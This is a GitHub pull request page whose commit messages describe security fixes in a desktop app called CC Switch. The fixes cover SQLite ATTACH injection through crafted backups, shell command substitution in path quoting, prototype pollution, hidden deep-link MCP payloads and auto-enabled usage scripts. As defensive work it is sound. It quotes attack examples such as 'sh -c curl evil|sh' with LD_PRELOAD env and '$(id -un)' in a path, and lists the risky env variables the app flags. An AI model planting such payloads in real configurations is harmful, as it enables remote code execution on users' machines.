sync - #3
Merged
Merged
Conversation
Full domain migration aigocode.com -> aigocode.app (bare domain + api. subdomain, invite path unchanged) across all 8 preset files and 4 README languages. Icons, promotion keys, and i18n copy unchanged.
`import_sql_string_inner` validated only that the file starts with the `-- CC Switch SQLite 导出` comment, then handed the whole text to `execute_batch`. Anything after that prefix ran unchecked, so a crafted backup could `ATTACH DATABASE '/path/x.db'` and create a SQLite file anywhere the user can write. The side effect lands before `validate_basic_state`, so the file survives even when the import as a whole fails. `settings` is in neither SYNC_SKIP_TABLES nor SYNC_PRESERVE_TABLES, so the WebDAV/S3 sync path reaches the same code. Install a SQLite authorizer for the duration of the external batch only, then clear it so our own schema maintenance is unaffected. Deny what can leave the temp database rather than allow-listing what `dump_sql` emits. The batch runs on a throwaway NamedTempFile whose entire contents are already decided by that same SQL, so DELETE/DROP/ UPDATE hand an attacker nothing new -- the only meaningful boundary is the temp file itself. A strict allow-list only adds the risk of refusing a legitimate backup whose schema has a shape we did not anticipate. The denied set was measured, not guessed: `ATTACH DATABASE 'x'`, `VACUUM INTO 'x'` and bare `VACUUM` all surface as `AuthAction::Attach`, so one rule covers all three -- which keyword scanning would not, since `VACUUM INTO` contains no "ATTACH". Also deny vtable creation (file-backed modules such as csvfile can read and write arbitrary paths) and `Unknown`, so future SQLite statements fail closed. Tests cover both denied statements (asserting no file is left on disk, not merely that the call errors) and a real export round-trip, which guards against the allow-list regressing into false refusals.
`shell_escape` wrapped the working directory in double quotes and escaped
only `\` and `"`. Inside double quotes a shell still expands `$(...)`,
backticks and `$VAR`, so the quoting stopped spaces but not command
substitution. Verified: `cd "/tmp/$(id -un)"` runs `id`.
The value is `selectedSession.projectDir` -- a real path recorded in the
AI CLI's session history. macOS allows `$`, `(` and `)` in directory
names, so any project whose folder is named that way triggers it on
Resume; no compromised renderer is required.
Three built-in launchers were affected because they route through
`build_shell_command(command, cwd)`: Terminal.app, iTerm and kitty.
Ghostty, WezTerm/Kaku and Alacritty were already correct -- they pass the
directory as its own argv element (`--working-directory` / `--cwd`) and
call `build_shell_command(command, None)`. Terminal and iTerm go through
AppleScript `do script`, which accepts a single shell line and has no
cwd parameter, so correct quoting is the only option there.
Switch to POSIX single quotes, where nothing expands, using the
close-escape-reopen `'\''` sequence for embedded quotes. A test pins the
two-layer interaction with `escape_osascript`, which doubles backslashes
on the way into the AppleScript literal.
Also escape the `{cwd}` substitution in `launch_custom`, and correct that
function's comment: the escaping there is context-dependent and only
holds while the placeholder sits in an unquoted shell word. A template
written as `echo "{cwd}"` puts the inserted quotes inside double quotes
and command substitution runs again. The branch has no UI entry point
today; the note now says it must be redesigned before one is added
rather than implying it is already safe.
`launch_session_terminal` takes an arbitrary string from the renderer and hands it to a shell. External audits report this as arbitrary command execution over IPC. Document it as a known, accepted risk instead of leaving it to be re-reported every audit cycle. The precondition for exploiting it is control over the renderer, which already implies local code execution as the user -- at which point going through this command grants nothing extra. The renderer is treated as a trusted boundary, supported by four facts each verified against the tree: - the only `dangerouslySetInnerHTML` (ProviderIcon) takes an icon *name*, gated by `hasIcon()`, and reads the SVG from a build-time registry; neither users nor deep links can supply markup - no `eval` / `new Function` anywhere in the frontend - `frontendDist` points at the bundled output, the webview loads no remote origin, and there are no `<iframe>` / `<webview>` elements - CSP is `script-src 'self'` -- no inline and no external scripts The note lists what invalidates the conclusion, so the exemption is falsifiable rather than a standing opinion: rendering network- or config-sourced rich text, embedding a webview or navigating to a remote origin, relaxing `script-src`, or introducing any way to execute external code in the renderer. Any of those and this command must be changed to accept a session identifier and rebuild the command in the backend. It also states explicitly that `cwd` is *not* covered. That value comes from disk scanning and can legitimately contain `$(...)` regardless of renderer trust, which is why it is escaped rather than exempted. Without that sentence "the renderer is trusted" invites being read as "nothing on this path needs handling".
…type
`JSON.parse('{"__proto__":{…}}')` produces `__proto__` as an *own
enumerable* property, so `Object.entries` yields it; and
`isPlainObject(Object.prototype)` is true, so `deepMerge` skipped its
"replace with empty object" branch and merged straight into the global
prototype. Reproduced, not inferred.
`deepRemove` had the same shape and was destructive: `"__proto__" in
target` is always true because `in` walks the prototype chain, so it
recursed into `Object.prototype` and deleted from it.
Reachable without XSS: `settings` is not in the sync skip/preserve lists,
so `common_config_*` is overwritten by whatever the WebDAV/S3 remote
sends, and opening a provider form merges it.
Guard all three walkers that share the traversal shape. The third,
`isSubset`, only reads and cannot pollute, but following
`target["__proto__"]` made `{"__proto__":{}}` a subset of *every* config,
so the "common config applied" toggle read wrong. It also now requires
own properties, since an inherited key is not "present in the config".
`isSubset` rejects on a forbidden key rather than skipping: if a future
caller bypasses sanitization, reporting "not applied" is the safe
direction because re-applying is idempotent.
That rejection alone left an inconsistency: merge skips forbidden keys
and keeps going, so `{"env":{"A":"1"},"__proto__":{}}` really did write
`env.A` while `hasCommonConfigSnippet` reported it as never applied.
Fixed by sanitizing on the *reading* side only, so the comparison runs
against exactly what the write side produces. Deliberately not applied to
the write path: `deepMerge`/`deepRemove` already skip these keys, so
sanitizing first is byte-for-byte identical there -- an unfalsifiable
call that would wrongly imply the walkers cannot handle their own input.
`deepCloneFallback` gets the same skip. Its impact differs and the
comment says so: it does not reach the global prototype, it swaps the
clone's own prototype, giving the copy ghost properties. It is dead while
`structuredClone` exists, but the two paths disagreed on `__proto__`.
Pure helpers used only to annotate the deep-link confirmation dialog. They deliberately do not block anything: custom endpoints and env vars are normal third-party provider configuration (`http://localhost:11434` is ordinary Ollama usage), so filtering them would break legitimate setups. The actual gap is that the user cannot see what they are approving, which is a visibility problem, not a policy one. - `classifyEnvKey` flags variables that change how a process loads code rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS, NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No legitimate provider preset needs these set over a shared link. - `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud metadata addresses. Literal matching only, no DNS resolution: resolving adds latency and the answer can differ from what the client resolves later (rebinding), so treating it as a control would be false assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex alone misses that whole class. - `classifyCommand` looks at command *and* args, because the realistic payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI that renders only the command shows a harmless `sh`. Inline-command flags are matched by shape, not by literal, to cover combined POSIX short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's abbreviations of `-Command`. Every parameter takes `unknown`. These values come from arbitrary base64-decoded JSON, where TypeScript annotations offer no runtime guarantee; a non-string `command` would throw on `.split()` and blank the whole confirmation dialog, which is worse than the misleading render it replaces -- the user would not even see that something wants importing. `maskValue` moves here from the dialog component so the MCP and provider confirmations share one redaction rule instead of drifting apart.
The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.
Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.
The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.
Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.
New i18n keys added to all four locales (zh/en/ja/zh-TW).
The renderer only fed input to `atob`, which rejects the URL-safe
alphabet (RFC 4648 §5). The backend, meanwhile, tries STANDARD,
STANDARD_NO_PAD, URL_SAFE and URL_SAFE_NO_PAD in turn, so a link whose
payload used `-`/`_` decoded fine on the way in but not on the way to
the screen.
`decodeBase64Utf8` swallows its own failure and returns the input
unchanged, so the mismatch was silent:
- usage script -> the confirmation showed opaque Base64
- prompt -> same
- MCP config -> `JSON.parse` threw, the catch returned null, and
the dialog rendered "0 servers" with an empty list
The MCP case defeated the server/argument display added earlier: a
one-character substitution made the whole list disappear while the
backend still imported the real `mcpServers` entry.
Normalize `-` to `+` and `_` to `/` before decoding, in both the primary
path and the last-resort fallback, so the two sides agree on what a
payload says. Standard Base64 contains neither character, so this cannot
misread standard input.
Adds the first tests for this shared decoder. They exercise the real
implementation rather than an injected stub, and assert their own
premise -- a payload whose standard encoding happens to contain no `+`
or `/` makes the URL-safe conversion a no-op and the test vacuous.
An imported usage script is JavaScript that runs whenever usage is
queried. Two things made it possible to acquire one without seeing it:
- `usage_enabled.unwrap_or(!code.is_empty())` treated the presence of
code as a decision to run it, so a link that simply carried a script
got it enabled
- the confirmation dialog rendered only an enabled/disabled badge; the
script body was never displayed
Default to disabled. Enabling now requires `usageEnabled=true` in the
link -- which is the link author's request, not the user's consent. The
consent is the user pressing Import after seeing the full script body
and the badge, which is why both displays are load-bearing rather than
decorative.
The badge predicate moves from `!== false` to `=== true` to match the
new backend default. Left alone it would have started rendering "did not
say" as a green "Enabled" -- more optimistic than what would actually
happen.
Extracts the payload decode into `decodeDeeplinkPayload`, which falls
back to the raw string when decoding fails or yields empty. A dialog
whose job is to show what is about to be written must not let a payload
vanish just because it is malformed; empty reads as "there is no
script", which is exactly the wrong impression.
All three manuals stated the parameter defaults to true. It now defaults to false, and the script body is shown in full before import. Without an explicit `true` the script is imported but left disabled, and can be enabled from the app.
The policy explained how to report but never what counts as a
vulnerability, so any finding phrased as "IPC command X, given parameter
Y, writes a file" arrived as a valid report.
Records the trust boundary as a scoping decision supported by four
checkable facts about the shipped renderer, each with the condition that
would invalidate it. The exemption covers only reports whose sole route
to the IPC surface is DevTools or a locally modified frontend; a chain
starting from a deep link, remote data, an inbound proxy request or an
XSS stays in scope. Trust in the renderer covers the code we ship, not
arbitrary values flowing through it.
Notable corrections to the first draft, from review:
- the app is not free of server components: it runs a local HTTP proxy
whose listen address is user-configurable and may be non-loopback.
Inbound requests to it are now listed as untrusted input
- "no remote content" was already false. The renderer fetches model
pricing JSON and provider avatars, which CSP permits. Narrowed to
remote *executable* content, and the remote data it does fetch is
named and classified as untrusted
- having the same filesystem permissions as the user does not make a
write the user's decision. Confused-deputy cases, where an untrusted
source controls the path or content, are in scope
- user-authored integrations that run commands are out of scope; the
same integrations arriving by import or deep link are not, and the
required property there is informed consent
- being in scope here and meeting GitHub's CVE eligibility criteria
are separate questions, decided by different parties
The two cleanup-guard tests introduced in ff3bc24 set the process-global TMPDIR to a scratch dir and asserted it ended up empty. serial_test only serializes marked tests, so any concurrent test creating a tempdir inside the hijacked window landed in scratch and randomly failed the emptiness assertion on Ubuntu/macOS CI (Windows ignores TMPDIR). Add an extract_local_zip_in(zip_path, base_dir) seam that takes the temp base explicitly; the public function delegates with std::env::temp_dir(). Tests now pass their private scratch dir directly, dropping the TMPDIR mutation and the serial markers — the race is impossible by construction.
github-actions
Bot
added
documentation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary / 概述
Related Issue / 关联 Issue
Fixes #
Screenshots / 截图
Checklist / 检查清单
pnpm typecheckpasses / 通过 TypeScript 类型检查pnpm format:checkpasses / 通过代码格式检查cargo clippypasses (if Rust code changed) / 通过 Clippy 检查（如修改了 Rust 代码）